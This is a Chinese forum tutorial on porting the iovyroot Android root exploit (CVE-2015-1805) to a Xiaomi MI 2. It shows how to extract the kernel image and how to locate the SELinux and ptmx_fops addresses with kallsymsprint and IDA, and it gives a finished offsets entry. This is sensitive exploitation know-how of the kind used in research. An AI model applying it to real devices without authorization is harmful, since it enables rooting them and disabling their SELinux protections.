查看原文
其他

CVE-2015-1805 iovyroot 查找内核地址

Imyang 看雪学院 2019-05-26


一、提取zImage


1.1 下载rom,找到boot.img


1.2. 使用unpackbootimg或者其他工具解压boot.img

unpackbootimg -i boot.img  -o out


1.3. out目录下文件如下:

drwxrwxr-x 2 android android    4096 1月   6 17:45 .
drwxrwxr-x 4 android android    4096 1月   6 17:45 ..
-rw-rw-r-- 1 android android       9 1月   6 17:45 boot.img-base
-rw-rw-r-- 1 android android      99 1月   6 17:45 boot.img-cmdline
-rw-rw-r-- 1 android android       0 1月   6 17:45 boot.img-dt
-rw-rw-r-- 1 android android       5 1月   6 17:45 boot.img-pagesize
-rw-rw-r-- 1 android android 1969875 1月   6 17:45 boot.img-ramdisk.gz
-rw-rw-r-- 1 android android       9 1月   6 17:45 boot.img-ramdisk_offset
-rw-rw-r-- 1 android android       0 1月   6 17:45 boot.img-second
-rw-rw-r-- 1 android android       9 1月   6 17:45 boot.img-second_offset
-rw-rw-r-- 1 android android       9 1月   6 17:45 boot.img-tags_offset
-rw-rw-r-- 1 android android 6097624 1月   6 17:45 boot.img-zImage


1.4. binwalk boot.img-zImage -e提取被gzip压缩的zImage

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
15851         0x3DEB          gzip compressed data, maximum compression, from Unix, NULL date (1970-01-01 00:00:00)
binwalk会自动生成一个_boot.img-zImage.extracted目录,里面有个文件名为3DEB的文件,文件名为data的十六进制起始地址



二、32位rom获取符号的内核地址


查看iovyroot源码中会知道有个offset结构体,可以看到32位的设备需要获取5个符号的地址

struct offsets {
   char* devname; //ro.product.model
   char* kernelver; // /proc/version
   union {
       void* fsync; //ptmx_fops -> fsync
       void* check_flags; //ptmx_fops -> check_flags
   };
#if (__LP64__)
   void* joploc; //gadget location, see getroot.c
   void* jopret; //return to setfl after check_flags() (fcntl.c), usually inlined in sys_fcntl
#endif
   void* sidtab; //optional, for selinux contenxt
   void* policydb; //optional, for selinux context
   void* selinux_enabled;
   void* selinux_enforcing;
};


分别为ptmx_fops, sidtab, policydb, selinux_enabled, selinux_enforcing


2.1 使用kallsymsprint可以获取以上5个符号的地址

kallsymsprint.x86是获取32位zImage的工具
kallsymsprint.x64是获取64位zImage的工具

$kallsymsprint.x86 3DEB | grep -E "ptmx_fops|sidtab|policydb|selinux_enabled|selinux_enforcing"
[+]mmap
 mem=f67c0000 length=00d8c18c offset=c9848000
[+]kallsyms_addresses=c08e6030
 count=000135d4
[+]kallsyms_num_syms=000135d4
[+]kallsyms_names=c0933790
[+]kallsyms_markers=c0a1f6b0
[+]kallsyms_token_table=c0a1fb90
[+]kallsyms_token_index=c0a1ff30
[+]kallsyms_lookup_name
...
...
...
//这个地址是小米3的地址,我手里的测试机是小米2s,而小米2s的zImage使用kallsymsprint找不到这几个符号和地址
c0d2a184 selinux_enabled
c0fe9640 selinux_enforcing
c0feb0a0 policydb
c0feb1a4 sidtab
c0fefdd0 ptmx_fops
...
...


2.2 添加offset


把2.1获取的5个符号的地址和model,linux version按格式添加在offsets.c的offsets数组中即可。


在iovyroot根目录运行ndk-build编译即可。


2.3 使用kallsymsprint无法获取到5个符号的地址


上面我们已经讲到有些zImage使用kallsymsprint没法获取我们需要的符号地址,比如我的小米2s,那么怎么办呢?


别着急,祭出我们的大杀器IDA神器+源码引用(小米内核源码的地址见附录)


2.4 IDA加载32位的zImage


 

使用32位的IDA加载zImage时,Processer Type选择 ARM,勾选Manual load,点击Ok。


 

在ROM start address和Loading address填写0xc0008000,这个是内核.text段的起始地址,通常都为0xc0008000,点击OK等待IDA加载完成。


如果你不确定是不是这个地址, 你可以使用如下命令直接从手机中获取:

adb reboot; adb wait-for-device; adb shell dmesg


往上查看dmesg的输出信息可以找到:


2.5 寻找 ptmx_fops 地址


在小米内核源码中搜索,直接在github中搜索的ptmx_fops


 

由上图可以看到ptmx_fops仅在pty.c文件中被引用了两次,随便选一处引用

tty_default_fops(&ptmx_fops);


再次搜索tty_default_fops发现就只有一处调用该函数,那就用这个tty_default_fops函数去找到ptmx_fops吧。

$kallsymsprint.x86 3DEB | grep -E "tty_default_fops"

[+]mmap
 mem=f6585000 length=00fd6d84 offset=c9a83000
[+]kallsyms_addresses=c09c7dc0
 count=00010242
[+]kallsyms_num_syms=00010242
[+]kallsyms_names=c0a086e0
[+]kallsyms_markers=c0ac5ef0
[+]kallsyms_token_table=c0ac6300
[+]kallsyms_token_index=c0ac6690
[+]kallsyms_lookup_name

c03fb21c tty_default_fops
//如果使用kallsymsprint也没有找到tty_default_fops的地址,那么就选择其他引用ptmx_fops的函数或全局变量符号


IDA跳转到地址c03fb21c(按g,输入地址,即可跳转到指定地址),把c03fb21c重命名为tty_default_fops(按n, 输入名称,即可修改别名)。

 

IDA查找tty_default_fops的引用(按x,可以找到所有引用该函数的地址),由于从源码知道只有一次引用该函数,就直接跳转到应用tty_default_fops的地方。


//根据tty_default_fops源码知道它只有一个参数,有如下汇编代码:
ROM:C0D1F41C                 STMFD           SP!, {R0-R2,R4-R11,LR}
ROM:C0D1F420                 MOV             R0, #0x100000
ROM:C0D1F424                 MOV             R1, #0
ROM:C0D1F428                 LDR             R5, =0xC12D5290
ROM:C0D1F42C                 BL              sub_C03F7CD0
//...此处省略N多代码
ROM:C0D1F588                 ADD             R0, R5, #8
ROM:C0D1F58C                 BL              tty_default_fops


ADD             R0, R5, #8 的意思是R0=R5+8
因为
LDR             R5, =0xC12D5290
可以得到R0 = 0xC12D5290 + 8 = 0xC12D5298


那么就找到了ptmx_fops的地址为0xC12D5298。


2.6 寻找 sidtab 地址


源码中搜索sidtab,找到很多处引用,发现在services.c 中有个静态的结构体变量,

进入services.c中,找引用sidtab的地方,找啊找啊找朋友~~~,找到一个好朋友。什么是好朋友呢,就是参数越少的函数,引用越少的函数,这种函数方便分析,

 

$kallsymsprint.x86 3DEB | grep -E "sidtab_shutdown"
[+]mmap
 mem=f656f000 length=00fd6d84 offset=c9a99000
[+]kallsyms_addresses=c09c7dc0
 count=00010242
[+]kallsyms_num_syms=00010242
[+]kallsyms_names=c0a086e0
[+]kallsyms_markers=c0ac5ef0
[+]kallsyms_token_table=c0ac6300
[+]kallsyms_token_index=c0ac6690
[+]kallsyms_lookup_name
c0345b64 sidtab_shutdown


//IDA中找到如下汇编:
ROM:C034DE54                 LDR             R4, =0xC12BC420
ROM:C034DE58                 ADD             R0, R4, #0x110
ROM:C034DE5C                 BL              sidtab_shutdown

//可以得到R0 = R4 + 0x110 = 0xC12BC420 + 0x110 = 0xC12BC530

sidtab的地址为0xC12BC530


2.7 寻找 policydb 地址

 


$ kallsymsprint.x86 3DEB | grep -E "policydb_read"
[+]mmap
 mem=f65d9000 length=00fd6d84 offset=c9a2f000
[+]kallsyms_addresses=c09c7dc0
 count=00010242
[+]kallsyms_num_syms=00010242
[+]kallsyms_names=c0a086e0
[+]kallsyms_markers=c0ac5ef0
[+]kallsyms_token_table=c0ac6300
[+]kallsyms_token_index=c0ac6690
[+]kallsyms_lookup_name
c0348f4c policydb_read


ROM:C034DC58                 STMFD           SP!, {R4-R7,LR}
ROM:C034DC5C                 MOV             R3, #0
ROM:C034DC60                 LDR             R4, =0xC12BC420
//...此处省略一点代码
ROM:C034DC88                 MOV             R0, R4
ROM:C034DC8C                 ADD             R1, SP, #0x260+var_250
ROM:C034DC90                 BL              policydb_read


由policydb_read(&policydb, fp);得到R0为policydb。


policydb地址0xC12BC420


2.8 寻找 selinux_enabled 地址

$ kallsymsprint.x86 3DEB | grep -E "selinux_is_enabled"
[+]mmap
 mem=f6606000 length=00fd6d84 offset=c9a02000
[+]kallsyms_addresses=c09c7dc0
 count=00010242
[+]kallsyms_num_syms=00010242
[+]kallsyms_names=c0a086e0
[+]kallsyms_markers=c0ac5ef0
[+]kallsyms_token_table=c0ac6300
[+]kallsyms_token_index=c0ac6690
[+]kallsyms_lookup_name
c03445b8 selinux_is_enabled
c0bbfa24 __ksymtab_selinux_is_enabled
c0bc711c __kcrctab_selinux_is_enabled
c0bd1a63 __kstrtab_selinux_is_enabled


ROM:C03445B8 selinux_is_enabled
ROM:C03445B8                 LDR             R3, =dword_C0F5332C
ROM:C03445BC                 LDR             R0, [R3]
ROM:C03445C0                 MOVS            R0, R0
ROM:C03445C4                 MOVNE           R0, #1
ROM:C03445C8                 BX              LR
ROM:C03445C8 ; End of function selinux_is_enabled


由selinux_is_enabled得到selinux_enabled的地址0xC0F5332C。


selinux_enabled地址0xC0F5332C


2.9 寻找 selinux_enforcing 地址



$ kallsymsprint.x86 3DEB | grep -E "selnl_notify_setenforce"
[+]mmap
 mem=f659c000 length=00fd6d84 offset=c9a6c000
[+]kallsyms_addresses=c09c7dc0
 count=00010242
[+]kallsyms_num_syms=00010242
[+]kallsyms_names=c0a086e0
[+]kallsyms_markers=c0ac5ef0
[+]kallsyms_token_table=c0ac6300
[+]kallsyms_token_index=c0ac6690
[+]kallsyms_lookup_name
c0343b60 selnl_notify_setenforce


ROM:C0342DB8                 BNE             loc_C0342E68
ROM:C0342DBC                 LDR             R7, =0xC12BA9D0
//...此处省略N多代码
ROM:C0342E40 loc_C0342E40                            ; CODE XREF: ROM:C0342E34j
ROM:C0342E40                 LDR             R0, [R7]
ROM:C0342E44                 BL              selnl_notify_setenforce


根据汇编代码R0=R7=0xC12BA9D0,得到selinux_enforcing的地址0xC12BA9D0。


selinux_enforcing地址0xC12BA9D0


2.10 offset

//Xiaomi MI 2, MIUI 7.2.4.0 Android 5.0.2 LRX22G
{ "MI 2", "Linux version 3.4.0-perf-g9b728b6-00625-ge66671e (builder@qh-miui-ota-bd53) (gcc version 4.8 (GCC) ) #1 SMP PREEMPT Mon Mar 7 20:05:25 CST 2016",
{ (void*)FSYNC_OFFSET(0xC12D5298) },
(void*)0xC12BC530, (void*)0xC12BC420, (void*)0xC0F5332C, (void*)0xC12BA9D0 },


2.11 演示结果



A、附录:

  • iovyroot: https://github.com/dosomder/iovyroot

  • unpackbootimg: https://github.com/CyanogenMod/android_system_core  文件目录mkbootimg/unpackbootimg,需要自己编译

  • 解压boot.img的其他工具: https://github.com/jpacg/bootimg

  • kallsymsprint: https://github.com/fi01/kallsymsprint

  • 小米内核源码: https://github.com/MiCode/Xiaomi_Kernel_OpenSource


B、参考链接:

  • https://github.com/dosomder/iovyroot/issues/1

  • http://h3ysatan.blogspot.sg/2016/04/iovyroot-cve-2015-1805.html




看雪ID:Imyang 

bbs.pediy.com/user-548459


本文由看雪论坛 Imyang  原创

转载请注明来自看雪社区





热门技术文章推荐:






戳原文,看看大家都是怎么说的?

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存